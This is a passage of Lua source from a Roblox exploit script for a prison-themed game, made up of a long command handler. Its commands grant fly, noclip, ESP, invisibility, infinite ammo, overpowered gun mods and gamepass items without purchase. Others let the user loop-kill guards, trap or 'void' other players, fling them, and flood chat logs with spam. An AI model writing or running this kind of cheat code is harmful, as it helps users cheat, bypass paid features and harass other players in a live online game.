elseif ar == "onepunch" or ar == "opunch" then
Powers.Onepunch[DaPlayer.UserId] = nil
Notif("OK", "Removed one-punch from " .. DaPlayer.Name .. ".")
elseif ar == "all" then
Powers.Antishoot[DaPlayer.UserId] = nil
Powers.Antipunch[DaPlayer.UserId] = nil
Powers.Antiarrest[DaPlayer.UserId] = nil
Powers.FriendlyFire[DaPlayer.UserId] = nil
Powers.Punchaura[DaPlayer.UserId] = nil
Powers.Oneshot[DaPlayer.UserId] = nil
Powers.Onepunch[DaPlayer.UserId] = nil
end
elseif Args[2] == "all" then
DaPlayer = nil
for i, v in pairs(Players:GetPlayers()) do
DaPlayer = v
if ar == "antishoot" or ar == "as" or Args[3] == "all" then
Powers.Antishoot[DaPlayer.UserId] = nil
end
if ar == "antipunch" or ar == "apunch" or Args[3] == "all" then
Powers.Antipunch[DaPlayer.UserId] = nil
end
if ar == "antiarrest" or ar == "aar" or Args[3] == "all" then
Powers.Antiarrest[DaPlayer.UserId] = nil
end
if ar == "friendlyfire" or ar == "ffire" or Args[3] == "all" then
Powers.FriendlyFire[DaPlayer.UserId] = nil
end
if ar == "punchaura" or ar == "paura" or Args[3] == "all" then
Powers.Punchaura[DaPlayer.UserId] = nil
end
if ar == "oneshot" or ar == "oshot" or Args[3] == "all" then
Powers.Oneshot[DaPlayer.UserId] = nil
end
if ar == "onepunch" or ar == "opunch" or Args[3] == "all" then
Powers.Onepunch[DaPlayer.UserId] = nil
end
end
Notif("OK", "Removed power(s) from all players.")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("loudpunch") or cm("lph") then
States.LoudPunch = not States.LoudPunch
Notif("OK", "Toggled loudpunch to " .. tostring(States.LoudPunch) .. ".")
elseif cm("spamlog") or cm("slog") then
States.SpamLog = not States.SpamLog
if States.SpamLog then
Notif("OK", "Spamming chatlogs. (Type again to disable)")
task.spawn(function()
while States.SpamLog do
task.wait()
local strings =
"QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789!#%="
local char = {}
local tospam = "Your chatlogger has been spammified "
strings:gsub(".", function(sub1)
table.insert(char, sub1)
end)
for i = 1, 3 do
local meth = math.random(1, #char)
tospam = tospam .. char[meth]
end
Chat(tospam, nil, true)
end
end)
else
Notif("OK", "Stopped spamming chatlogs.")
end
elseif cm("dumpcars") or cm("removecars") or cm("nocar") or cm("dumpcar") or
cm("removecar") or cm("nocars") then
if #workspace.CarContainer:GetChildren() > 0 then
local a = Args[2] and Args[2]:lower()
if a == "delete" or not Args[2] or Args[2] == "" then
DumpCars("vdestroy")
elseif a == "temp" then
DumpCars("temp")
elseif a == "void" then
DumpCars("void")
elseif a == "client" then
DumpCars("clientdelete")
else
Notif("Error", "Unspecified argument.")
end
else
Notif("Error", "There are no cars in workspace.")
end
elseif cm("cars") or cm("scar") or cm("carspawn") or cm("car") then
BringCar()
Notif("OK", "Spawned new car to your location")
elseif cm("policecar") or cm("pcar") or cm("pcars") then
BringCar(nil, nil, true)
Notif("OK", "Spawned police car.")
elseif cm("bringcar") or cm("bcar") then
BringCar(nil, true)
if not LocalPlayer.Character.Humanoid.Sit then
BringCar()
Notif("No cars available.", "Spawned new car.")
else
Notif("OK", "Brought a car.")
end
elseif cm("carsto") or cm("scarto") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringCar(DaPlayer, false)
Notif("OK", "Brought a car to " .. DaPlayer.Name .. ".")
elseif Args[2] == "random" then
local randomplr = GetRandomPlr(LocalPlayer)
BringCar(randomplr, false)
Notif("OK", "Brought a car to " .. randomplr.Name .. ".")
else
Notif("Error", "Not a valid player.")
end
elseif cm("loopcars") or cm("lcars") or cm("loopcar") then
if not States.SpammyCars then
States.SpammyCars = true
Notif("OK", "Now looping spawncars.")
task.spawn(function()
while States.SpammyCars do
if LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("Humanoid") and
LocalPlayer.Character.Humanoid.Sit then
VKeyPress("Space", "Press")
wait(0.518)
end
pcall(BringCar)
wait(0.2)
LAction("unsit", true)
end
end)
else
Notif("Error", "Already spawning cars.")
end
elseif cm("unloopcars") or cm("unlcars") or cm("unloopcar") then
States.SpammyCars = false
Notif("OK", "Stopped spamming cars.")
elseif cm("opensesame") or cm("magicdoor") then
States.MagicDoor = not States.MagicDoor
if Args[2] == "true" or Args[2] == "on" then
States.MagicDoor = true
elseif Args[2] == "false" or Args[2] == "off" then
States.MagicDoor = false
end
if States.MagicDoor then
Tasks.OpenSesame()
Notif("OK", "Toggled magicdoor to true.")
else
Notif("OK", "Toggled magicdoor to false.")
end
elseif cm("partyrave") or cm("rave") then
if not States.PartyRave then
States.PartyRave = true
Tasks.PartyRave()
Notif("OK", "Party-raving ON.")
else
Notif("Error", "Party-rave is already turned on.")
end
elseif cm("unpartyrave") or cm("unrave") then
States.PartyRave = false
Notif("OK", "Stopped party rave.")
elseif cm("speed") or cm("walkspeed") then
local DaNumber = tonumber(Args[2])
LAction("speed", DaNumber)
Notif("OK", "Changed walkspeed to " .. DaNumber .. ".")
elseif cm("loopspeed") or cm("lspeed") then
local DaNumber = tonumber(Args[2])
Saved.WalkSpeed = DaNumber
States.Speeding = true
Notif("OK", "Now loop-speeding to " .. DaNumber .. ".")
elseif cm("unloopspeed") or cm("unlspeed") then
States.Speeding = false
LAction("speed", Saved.NormalSpeed)
Notif("OK", "Stopped loop-speed")
elseif cm("jumppower") or cm("jump") then
local DaNumber = tonumber(Args[2])
LAction("jumppw", DaNumber)
Notif("OK", "Changed jump-power to " .. DaNumber .. ".")
elseif cm("loopjumppower") or cm("ljumppower") or cm("ljumpower") or
cm("ljump") then
local DaNumber = tonumber(Args[2])
Saved.JumpPower = DaNumber
States.JumpPower = true
Notif("OK", "Loop-changing jumppower to " .. DaNumber .. ".")
elseif cm("unloopjumppower") or cm("unljumppower") or cm("unljumpower") or
cm("unljump") then
States.JumpPower = false
LAction("jumppw", Saved.NormalJump)
Notif("OK", "Stopped-loopchanging jumppower.")
elseif cm("infinitejump") or cm("infjump") or cm("infj") then
States.InfiniteJump = not States.InfiniteJump
if Args[2] == "on" or Args[2] == "true" then
States.InfiniteJump = true
elseif Args[2] == "off" or Args[2] == "false" then
States.InfiniteJump = false
end
Notif("OK", "Toggled infinite jump to " .. tostring(States.InfiniteJump) ..
".")
elseif cm("spin") then
if States.Spinning then
States.Spinning = false
wait(0.04)
end
local speed = Args[2] and tonumber(Args[2]) or 69
States.Spinning = true
task.spawn(function()
while States.Spinning and task.wait() do
local lroot = LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if lroot then
if not lroot:FindFirstChild("SpinninTV") then
local spinner = Instance.new("BodyAngularVelocity", lroot)
spinner.Name = "SpinninTV"
spinner.MaxTorque = Vector3.new(0, math.huge, 0)
spinner.P = math.huge
spinner.AngularVelocity = Vector3.new(0, speed, 0)
end
end
end
LocalPlayer.Character:FindFirstChild("HumanoidRootPart"):FindFirstChild("SpinninTV"
):Destroy()
end)
Notif("OK", "Now spinning.")
elseif cm("unspin") then
States.Spinning = false
Notif("OK", "Stopped spinning.")
elseif cm("orbit") then
if States.Orbiting then
States.Orbiting = false
wait(0.04)
end
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
local Speed = Args[3] and tonumber(Args[3]) or 2
local Radius = Args[4] and tonumber(Args[4]) or 8
if DaPlayer then
States.Orbiting = true
task.spawn(function()
local pln = DaPlayer.Name
while States.Orbiting and task.wait() do
if not Players:FindFirstChild(pln) then
Notif("Orbit stopped", "Player left the game.")
States.Orbiting = false
break
end
local vroot, lroot = DaPlayer.Character and
DaPlayer.Character:FindFirstChild("HumanoidRootPart"), LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if vroot and lroot then
local ping = CPing() / 2 / 2 / 2
local move = Vector3.new(vroot.Velocity.X, 0,
vroot.Velocity.Z)
local predict = vroot.CFrame + (move * (ping * 28))
lroot.CFrame = CFrame.new(predict.Position +
Vector3.new(math.sin(tick() * Speed) * Radius, 0, math.cos(tick() * Speed) *
Radius), predict.Position)
end
end
end)
Notif("OK", "Orbiting " .. DaPlayer.Name .. ".")
else
Notif("Error", "Not a valid player.")
end
elseif cm("unorbit") then
States.Orbiting = false
Notif("OK", "Stopped orbiting.")
elseif cm("btools") or cm("btool") then
SpawnClientStuff("btools")
Notif("OK", "Spawned btools.")
elseif cm("esp") or cm("wallvision") then
Toggles.ESP = not Toggles.ESP
if Args[2] == "on" or Args[2] == "true" then
Toggles.ESP = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.ESP = false
end
Notif("OK", "Toggled Extra Sensory Perception to " .. tostring(Toggles.ESP)
.. ".")
if Toggles.ESP then
Threads.ExtraSensory()
end
elseif cm("unesp") or cm("unwallvision") then
Toggles.ESP = false
Notif("OK", "Turned off ESP")
elseif cm("invisible") or cm("ghost") then
if not States.Invisible then
States.Invisible = true
Notif("OK", "You are now invisible.")
Threads.Invisibility()
else
Notif("Error", "You are already invisible, please type " .. Prefix ..
"visible to undo")
end
elseif cm("visible") or cm("unghost") then
States.Invisible = false
LAction("died")
Notif("OK", "Turned off invisibility.")
elseif cm("noclip") or cm("wallhack") then
Toggles.Noclip = true
Notif("OK", "Now no-clipping through walls.")
elseif cm("unnoclip") or cm("unwallhack") or cm("clip") then
Toggles.Noclip = false
Notif("OK", "Stopped no-clipping.")
if LocalPlayer.Character then
for i, v in pairs(LocalPlayer.Character:GetChildren()) do
if v:IsA("BasePart") then
v.CanCollide = true
end
end
end
elseif cm("fly") or cm("flight") then
local DaNumber = tonumber(Args[2])
if States.Flying and not DaNumber then
Notif("Flying", "You are already flying, please type " .. Prefix ..
"unfly to disable.")
return
elseif States.Flying and DaNumber then
States.Flying = false
wait(0.2)
States.Flying = true
Flight(DaNumber)
return
end
States.Flying = true
if DaNumber then
Flight(DaNumber)
else
Flight()
end
Notif("OK", "Now flying.")
elseif cm("unfly") or cm("noflight") then
States.Flying = false
Notif("OK", "Stopped flying.")
elseif cm("runspeed") then
local tonumb = tonumber(Args[2])
Saved.RunSpeed = tonumb
Notif("OK", "Changed the running speed to " .. tostring(tonumb) .. ".")
elseif cm("autorespawn") or cm("autore") then
Toggles.AutoRespawn = not Toggles.AutoRespawn
if Args[2] == "on" or Args[2] == "true" then
Toggles.AutoRespawn = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AutoRespawn = false
end
Notif("OK", "Toggled auto-respawn to " .. tostring(Toggles.AutoRespawn) ..
".")
elseif cm("refresh") or cm("ref") then
Tasks.Refresh()
Notif("OK", "Refreshed character.")
elseif cm("respawn") or cm("resp") then
Tasks.Respawn(LocalPlayer.TeamColor)
Notif("OK", "Respawned character.")
elseif cm("reset") or cm("res") then
LAction("died")
Notif("OK", "Reset character.")
elseif cm("forcefield") or cm("ff") then
if not States.ForceField then
States.ForceField = true
Threads.ForceField()
Notif("OK", "Enabled forcefield.")
if #Teams.Guards:GetPlayers() >= 8 and not (LocalPlayer.TeamColor ==
BrickColor.new("Bright blue")) then
PromptUser("Guards Team Full!", "Do you want to loopkill guards to
make them leave?", 10, "Yes", "No", function()
repeat
task.wait()
MultiKill(Teams.Guards)
task.wait(0.35)
until not (#Teams.Guards:GetPlayers() >= 8)
end)
end
else
Notif("Error", "ForceField is already enabled. please type" ..
Prefix .. "unff to disable.")
end
elseif cm("unforcefield") or cm("unff") then
States.ForceField = false
Notif("OK", "Disabled forcefield.")
elseif cm("autoguard") or cm("aguard") then
States.AutoGuard = not States.AutoGuard
if Args[2] == "on" or Args[2] == "true" then
States.AutoGuard = true
elseif Args[2] == "off" or Args[2] == "false" then
States.AutoGuard = false
end
if States.AutoGuard then
Notif("OK", "Automatically switching to guards. (Type again to
disable)")
task.spawn(function()
while States.AutoGuard do
task.wait()
if LocalPlayer.TeamColor.Name ~= "Bright blue" then
if #Teams.Guards:GetPlayers() < 8 then
local item =
LocalPlayer.Character:FindFirstChildWhichIsA("Tool") and
LocalPlayer.Character:FindFirstChildWhichIsA("Tool").Name
pcall(function()
TeamTo("guard")
if item and wait() then
if LocalPlayer.Backpack:FindFirstChild(item)
then
LAction("equip",
LocalPlayer.Backpack:FindFirstChild(item))
else
ItemHand(false, item)
ItemHand(false, item)
LAction("equip",
LocalPlayer.Backpack:FindFirstChild(item))
end
end
end)
else
Notif("Error", "Guards team full, autoguards halted.")
break
end
end
end
States.AutoGuard = nil
end)
else
Notif("OK", "Stopped switching to guards.")
end
elseif cm("unaguard") or cm("unautoguard") then
States.AutoGuard = false
Notif("OK", "Stopped switching to guards.")
elseif cm("autoguns") or cm("aguns") or cm("autogun") then
Toggles.AutoGuns = not Toggles.AutoGuns
if Args[2] == "on" or Args[2] == "true" then
Toggles.AutoGuns = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AutoGuns = false
end
Notif("OK", "Toggled auto-guns to " .. tostring(Toggles.AutoGuns) .. ".")
if Toggles.AutoGuns then
Threads.AutoGuns()
end
elseif cm("autoitems") or cm("aitems") or cm("autoitem") then
Toggles.AutoItems = not Toggles.AutoItems
if Args[2] == "on" or Args[2] == "true" then
Toggles.AutoItems = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AutoItems = false
end
Notif("OK", "Toggled auto-items to " .. tostring(Toggles.AutoItems) .. ".")
if Toggles.AutoItems then
Threads.AutoItems()
end
elseif cm("spinnytools") or cm("spinnytool") or cm("spintool") then
States.SpinnyTools = not States.SpinnyTools
if Args[2] == "on" or Args[2] == "true" then
States.SpinnyTools = true
elseif Args[2] == "off" or Args[2] == "false" then
States.SpinnyTools = false
end
if Args[3] then
Saved.SpinToolSpeed = tonumber(Args[3])
if Args[4] then
Saved.SpinToolRadius = tonumber(Args[4])
end
end
LAction("unequip")
Notif("OK", "Toggled spinny-tools to " .. tostring(States.SpinnyTools) ..
".")
if not Saved.Thread.SpinnyTools then
Saved.Thread.SpinnyTools = true
Tasks.SpinnyTools()
end
elseif cm("itemsequip") or cm("iequip") or cm("equip") then
local interval = Args[2] and tonumber(Args[2]) or 0.3
for i, v in pairs(LocalPlayer.Backpack:GetChildren()) do
if v:IsA("Tool") then
v.Parent = LocalPlayer.Character
task.wait(interval)
end
end
Notif("Successful", "Equipped all item(s)")
elseif cm("infammo") or cm("infa") then
local tool = LocalPlayer.Character:FindFirstChildWhichIsA("Tool")
if tool then
if tool:FindFirstChild("GunStates") then
local stat = require(tool.GunStates)
stat.MaxAmmo = math.huge
stat.CurrentAmmo = math.huge
stat.AmmoPerClip = math.huge
stat.StoredAmmo = math.huge
Tasks.ReloadGun(tool)
task.wait(0.1)
LAction("unequip")
task.wait(0.1)
LAction("equip", LocalPlayer.Backpack:FindFirstChild(tool.Name))
Notif("OK", "Applied infinite ammo to " .. tool.Name .. ".")
else
Notif("Error", "Tool is not a gun.")
end
else
Notif("Error", "You are not holding anything.")
end
elseif cm("gunmods") or cm("opgun") then
local tool = LocalPlayer.Character:FindFirstChildWhichIsA("Tool")
if tool then
if tool:FindFirstChild("GunStates") then
local stat = require(tool.GunStates)
stat.Damage = 9e9
stat.FireRate = 0.01
stat.Range = math.huge
stat.MaxAmmo = math.huge
stat.StoredAmmo = math.huge
stat.AmmoPerClip = math.huge
stat.CurrentAmmo = math.huge
stat.AutoFire = true
stat.Bullets = 10
Tasks.ReloadGun(tool)
task.wait(0.1)
LAction("unequip")
task.wait(0.1)
LAction("equip", LocalPlayer.Backpack:FindFirstChild(tool.Name))
Notif("OK", "Applied all gun mods to " .. tool.Name .. ".")
else
Notif("Error", "Tool is not a gun.")
end
else
Notif("Error", "You are not holding anything.")
end
elseif cm("autogunmods") or cm("autogunmod") or cm("agm") then
Toggles.AutoGunMods = not Toggles.AutoGunMods
if Args[2] == "on" or Args[2] == "true" then
Toggles.AutoGunMods = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AutoGunMods = false
end
Notif("OK", "Toggled auto-gun mods to " .. tostring(Toggles.AutoGunMods) ..
".")
LAction("unequip")
elseif cm("fastfire") or cm("firerate") then
local tool = LocalPlayer.Character:FindFirstChildWhichIsA("Tool")
if tool then
if tool:FindFirstChild("GunStates") then
local stat = require(tool.GunStates)
stat.FireRate = 0.01
stat.AutoFire = true
task.wait(0.1)
LAction("unequip")
task.wait(0.1)
LAction("equip", LocalPlayer.Backpack:FindFirstChild(tool.Name))
Notif("OK", "Applied faster fire rate to " .. tool.Name .. ".")
else
Notif("Error", "Tool is not a gun.")
end
else
Notif("Error", "You are not holding anything.")
end
elseif cm("autofire") then
Toggles.AutoFire = not Toggles.AutoFire
Notif("OK", "Toggled auto-fire to " .. tostring(Toggles.AutoFire) .. ".")
if Args[2] == "on" or Args[2] == "true" then
Toggles.AutoFire = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AutoFire = false
end
if LocalPlayer.Character:FindFirstChildWhichIsA("Tool") then
local temp = LocalPlayer.Character:FindFirstChildWhichIsA("Tool").Name
LAction("unequip")
wait(0.2)
LAction("equip", LocalPlayer.Backpack:FindFirstChild(temp))
end
elseif cm("autofirerate") or cm("affr") then
Toggles.AutoFireRate = not Toggles.AutoFireRate
if Args[2] == "on" or Args[2] == "true" then
Toggles.AutoFireRate = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AutoFireRate = false
end
Notif("OK", "Toggled automatic fire-rate to " ..
tostring(Toggles.AutoFireRate) .. ".")
if LocalPlayer.Character:FindFirstChildWhichIsA("Tool") then
local temp = LocalPlayer.Character:FindFirstChildWhichIsA("Tool").Name
LAction("unequip")
wait(0.1)
LAction("equip", LocalPlayer.Backpack:FindFirstChild(temp))
end
elseif cm("autoinfammo") or cm("ainfa") then
Toggles.AutoInfiniteAmmo = not Toggles.AutoInfiniteAmmo
if Args[2] == "on" or Args[2] == "true" then
Toggles.AutoInfiniteAmmo = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AutoInfiniteAmmo = false
end
Notif("OK", "Toggled automatic infinite ammo to " ..
tostring(Toggles.AutoInfiniteAmmo) .. ".")
elseif cm("guns") or cm("allguns") then
AllGuns()
Notif("OK", "Obtained all guns.")
elseif cm("items") or cm("allitems") then
AllItems()
Notif("OK", "Obtained all items.")
elseif cm("food") or cm("dinner") then
local Food = workspace.Prison_ITEMS.giver:FindFirstChild("Dinner") or
workspace.Prison_ITEMS.giver:FindFirstChild("Breakfast") or
workspace.Prison_ITEMS.giver:FindFirstChild("Lunch")
if Food then
ItemHand(false, Food.Name)
task.wait()
Notif("OK", "Obtained " .. Food.Name .. ".")
else
Notif("Error", "No food found.")
end
elseif cm("knife") or cm("knive") then
if LocalPlayer.TeamColor == BrickColor.new("Bright blue") then
TeamTo("inmate")
end
ItemHand(false, "Crude Knife")
Notif("OK", "Obtained crude knife.")
elseif cm("hammer") or cm("ham") then
if LocalPlayer.TeamColor == BrickColor.new("Bright blue") then
TeamTo("inmate")
end
ItemHand(false, "Hammer")
Notif("OK", "Obtained hammer")
elseif cm("superknife") or cm("sknife") then
SpawnClientStuff("superknife")
Notif("OK", "Obtained and superfied knife.")
elseif cm("bat") or cm("baseballbat") or cm("clientbat") then
SpawnClientStuff("bat")
Notif("OK", "Spawned client-sided bat.")
elseif cm("rejoin") or cm("rj") then
Notif("OK", "Rejoining...")
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,
game.JobId, LocalPlayer)
elseif cm("serverhop") or cm("svhop") then
local s, f = pcall(function()
Notif("Please wait...", "Serverhopping...")
local found, get = {}, Saved.HttpRequest
local data = get({ Url =
string.format("https://games.roblox.com/v1/games/%d/servers/Public?
sortOrder=Desc&limit=100&excludeFullGames=true", game.PlaceId) })
local decode = game:GetService("HttpService"):JSONDecode(data.Body)
if decode and decode.data then
for i, v in pairs(decode.data) do
if type(v) == "table" and tonumber(v.playing) and
tonumber(v.maxPlayers) and v.playing < v.maxPlayers and v.id ~= game.JobId then
table.insert(found, 1, v.id)
end
end
end
if next(found) then
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,
found[math.random(1, #found)], LocalPlayer)
else
Notif("Error", "Couldnt find a server")
end
end)
if not s then
Notif("Error", "Your executor is too shitty to use this command!")
end
elseif cm("antishield") or cm("antipay2win") then
Toggles.AntiShield = not Toggles.AntiShield
if Args[2] == "on" or Args[2] == "true" then
Toggles.AntiShield = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AntiShield = false
end
Notif("OK", "Toggled anti-shield to " .. tostring(Toggles.AntiShield) ..
".")
if Toggles.AntiShield then
Threads.AntiPay2Win()
end
elseif cm("antibring") or cm("antisit") then
Toggles.AntiBring = not Toggles.AntiBring
if Args[2] == "on" or Args[2] == "true" then
Toggles.AntiBring = true
elseif Args[2] == "off" or Args[2] == "false" then
Toggles.AntiBring = false
end
Notif("OK", "Toggled anti-bring to " .. tostring(Toggles.AntiBring) .. ".")
elseif cm("ak") or cm("ak47") or cm("ak-47") then
Gun("AK-47")
Notif("OK", "Obtained AK-47.")
elseif cm("remington") or cm("shotgun") or cm("rem") then
Gun("Remington 870")
Notif("OK", "Obtained Remington 870.")
elseif cm("m9") or cm("pistol") then
Gun("M9")
Notif("OK", "Obtained M9.")
elseif cm("m4") or cm("m4a1") then
if LocPL.Gamepass then
Gun("M4A1")
Notif("OK", "Obtained M4A1.")
else
Notif("Bruh", "You do not own the gamepass.")
end
elseif cm("riotshield") or cm("shield") then
if LocalPlayer.TeamColor == BrickColor.new("Bright blue") then
if LocPL.Gamepass then
ItemHand(false, "Riot Shield")
Notif("OK", "Obtained Riot Shield.")
else
Notif("Bruh", "You do not own the gamepass.")
end
else
Notif("Error", "You are not in guards team.")
end
elseif cm("skimask") or cm("mask") then
if LocPL.Gamepass then
ItemHand(workspace.Prison_ITEMS.hats, "Ski mask")
Notif("OK", "Equipped ski-mask.")
else
Notif("Bruh", "You do not own the gamepass.")
end
elseif cm("riothelmet") or cm("helmet") then
if LocPL.Gamepass then
ItemHand(workspace.Prison_ITEMS.hats, "Riot helmet")
Notif("OK", "Equipped Riot helmet.")
else
Notif("Bruh", "You do not own the gamepass.")
end
elseif cm("riotarmor") or cm("armor") then
if LocalPlayer.TeamColor == BrickColor.new("Bright blue") then
if LocPL.Gamepass then
ItemHand(workspace.Prison_ITEMS.clothes, "Riot Police")
Notif("OK", "Equipped Riot Armor.")
else
Notif("Bruh", "You do not own the gamepass.")
end
else
Notif("Error", "You are not in guards team.")
end
elseif cm("prefix") or cm("pref") then
local ar = tostring(Args[2]) or ""
Prefix = ar
Notif("OK", "Changed prefix to (" .. ar .. ")")
elseif cm("nodoors") or cm("rdoors") then
if game.Workspace:FindFirstChild("Doors") then
workspace["Doors"].Parent = game.Lighting
workspace:FindFirstChild("Prison_Cellblock")["doors"].Parent =
game.Lighting
Notif("OK", "Doors are now removed")
else
Notif("Error", "Doors are already removed.")
end
elseif cm("redoors") or cm("doors") then
if game.Lighting:FindFirstChild("Doors") then
game.Lighting.Doors.Parent = game.Workspace
game.Lighting.doors.Parent = game.Workspace
Notif("OK", "Doors are now added back")
end
elseif cm("nowalls") or cm("rwalls") then
if not SavedArgs.WallsRemoved then
SavedArgs.WallsRemoved = true
for i, v in pairs(game.Workspace:GetDescendants()) do
local Lower = v.Name:lower()
if (Lower:find("wall") or Lower:find("building") or
Lower:find("fence") or Lower:find("gate") or Lower:find("window") or
Lower:find("glass") or Lower:find("outline") or Lower:find("accent")) and
(v:IsA("BasePart") or v:IsA("Model")) then
v.Parent = game.Lighting
end
end
Notif("OK", "Removed all walls.")
else
Notif("Error", "Walls are already removed.")
end
elseif cm("rewalls") or cm("walls") then
if SavedArgs.WallsRemoved then
SavedArgs.WallsRemoved = nil
for i, v in pairs(game.Lighting:GetDescendants()) do
local Lower = v.Name:lower()
if (Lower:find("wall") or Lower:find("building") or
Lower:find("fence") or Lower:find("gate") or Lower:find("window") or
Lower:find("glass") or Lower:find("outline") or Lower:find("accent")) and
(v:IsA("BasePart") or v:IsA("Model")) then
v.Parent = game.Workspace
end
end
Notif("OK", "Walls are now added back.")
end
elseif cm("clickkill") or cm("ckill") then
States.ClickKill = not States.ClickKill
if Args[2] == "on" or Args[2] == "true" then
States.ClickKill = true
elseif Args[2] == "off" or Args[2] == "false" then
States.ClickKill = false
end
Notif("Toggled.", "Toggled Click-Kill to " .. tostring(States.ClickKill) ..
".")
elseif cm("clickarrest") or cm("carrest") then
States.ClickArrest = not States.ClickArrest
if Args[2] == "on" or Args[2] == "true" then
States.ClickArrest = true
elseif Args[2] == "off" or Args[2] == "false" then
States.ClickArrest = false
end
Notif("Toggled.", "Toggled Click-Arrest to " ..
tostring(States.ClickArrest) .. ".")
elseif cm("clicktase") or cm("ctase") then
States.ClickTase = not States.ClickTase
if Args[2] == "on" or Args[2] == "true" then
States.ClickTase = true
elseif Args[2] == "off" or Args[2] == "false" then
States.ClickTase = false
end
Notif("Toggled.", "Toggled Click-Tase to " .. tostring(States.ClickTase) ..
".")
elseif cm("clickfling") or cm("ckfling") then
States.ClickFling = not States.ClickFling
if Args[2] == "on" or Args[2] == "true" then
States.ClickFling = true
elseif Args[2] == "off" or Args[2] == "false" then
States.ClickFling = false
end
Notif("Toggled.", "Toggled Click-Fling to " ..
tostring(States.ClickFling) .. ".")
elseif cm("clickgoto") or cm("cgoto") then
States.ClickGoto = not States.ClickGoto
if Args[2] == "on" or Args[2] == "true" then
States.ClickGoto = true
elseif Args[2] == "off" or Args[2] == "false" then
States.ClickGoto = false
end
Notif("Toggled.", "Toggled Click-Goto to " .. tostring(States.ClickGoto) ..
".")
elseif cm("clickbring") or cm("ckbring") then
States.ClickBring = not States.ClickBring
if Args[2] == "on" or Args[2] == "true" then
States.ClickBring = true
elseif Args[2] == "off" or Args[2] == "false" then
States.ClickBring = false
end
Notif("Toggled.", "Toggled Click-Bring to " ..
tostring(States.ClickBring) .. ".")
elseif cm("clickteleport") or cm("clicktp") or cm("ctp") then
States.ClickTeleport = not States.ClickTeleport
if Args[2] == "on" or Args[2] == "true" then
States.ClickTeleport = true
elseif Args[2] == "off" or Args[2] == "false" then
States.ClickTeleport = false
end
Notif("Toggled.", "Toggled Click-Teleport to " ..
tostring(States.ClickTeleport) .. ".")
if States.ClickTeleport then
Threads.ClickTeleport()
else
local todelete = LocalPlayer.Backpack:FindFirstChild("Click-TP") or
LocalPlayer.Character:FindFirstChild("Click-TP")
if todelete then
todelete:Destroy()
end
end
elseif cm("clickteam") or cm("ctm") then
States.ClickTeam = not States.ClickTeam
if Args[2] == "on" or Args[2] == "true" then
States.ClickTeam = true
elseif Args[2] == "off" or Args[2] == "false" then
States.ClickTeam = false
end
Notif("Toggled.", "Toggled Click-Team to " .. tostring(States.ClickTeam) ..
".")
elseif cm("void") or cm("abyss") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer) or Args[2] == "random"
and GetRandomPlr()
if DaPlayer == LocalPlayer then
LocTP(CFrame.new(0, 9e9, 0))
elseif DaPlayer then
local tempo = LocalPlayer.Character.HumanoidRootPart.CFrame
BringPL(DaPlayer, CFrame.new(0, 9e9, 0), true, true)
task.wait(0.6)
SavedPositions.AutoRe = tempo
if LocalPlayer.TeamColor == BrickColor.new("Bright blue") then
TeamEve("Bright blue")
else
TeamEve("Bright orange")
end
LocalPlayer.CharacterAdded:Wait()
wait()
LocTP(tempo)
Notif("OK", "Teleported " .. DaPlayer .. " into the abyss.")
else
Notif("Error", "Not a valid player.")
end
elseif cm("loopvoid") or cm("lvoid") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Loops.Voided[DaPlayer.UserId] = DaPlayer
Notif("OK", "Loop-voiding " .. DaPlayer.Name .. ".")
end
if Args[2] == "random" then
repeat
task.wait()
DaPlayer = GetRandomPlr(LocalPlayer)
until not (DaPlayer.TeamColor == BrickColor.new("Medium stone grey"))
Loops.Voided[DaPlayer.UserId] = DaPlayer
Notif("OK", "Loop-voiding " .. DaPlayer.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player.")
end
elseif cm("unloopvoid") or cm("unlvoid") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Loops.Voided[DaPlayer.UserId] = nil
Notif("OK", "Stopped loop-voiding " .. DaPlayer.Name .. ".")
end
if Args[2] == "all" then
Loops.Voided = {}
Notif("OK", "Stopped loop-voiding player(s)")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("trap") or cm("punish") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Loops.Trapped[DaPlayer.UserId] = DaPlayer
Notif("OK", "Trapping " .. DaPlayer.Name .. ".")
end
if Args[2] == "random" then
repeat
task.wait()
DaPlayer = GetRandomPlr(LocalPlayer)
until not (DaPlayer.TeamColor == BrickColor.new("Medium stone grey"))
Loops.Trapped[DaPlayer.UserId] = DaPlayer
Notif("OK", "Trapping " .. DaPlayer.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player.")
end
elseif cm("untrap") or cm("unpunish") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Loops.Trapped[DaPlayer.UserId] = nil
Notif("OK", "Stopped trapping " .. DaPlayer.Name .. ".")
end
if Args[2] == "all" then
Loops.Trapped = {}
Notif("OK", "Stopped trapping player(s)")
end
elseif cm("anticheat") or cm("detection") then
States.AntiCheat = not States.AntiCheat
if Args[2] == "true" or Args[2] == "on" then
States.AntiCheat = true
elseif Args[2] == "false" or Args[2] == "off" then
States.AntiCheat = false
end
Notif("OK", "Toggled anti-cheat to " .. tostring(States.AntiCheat) .. ".")
if States.AntiCheat then
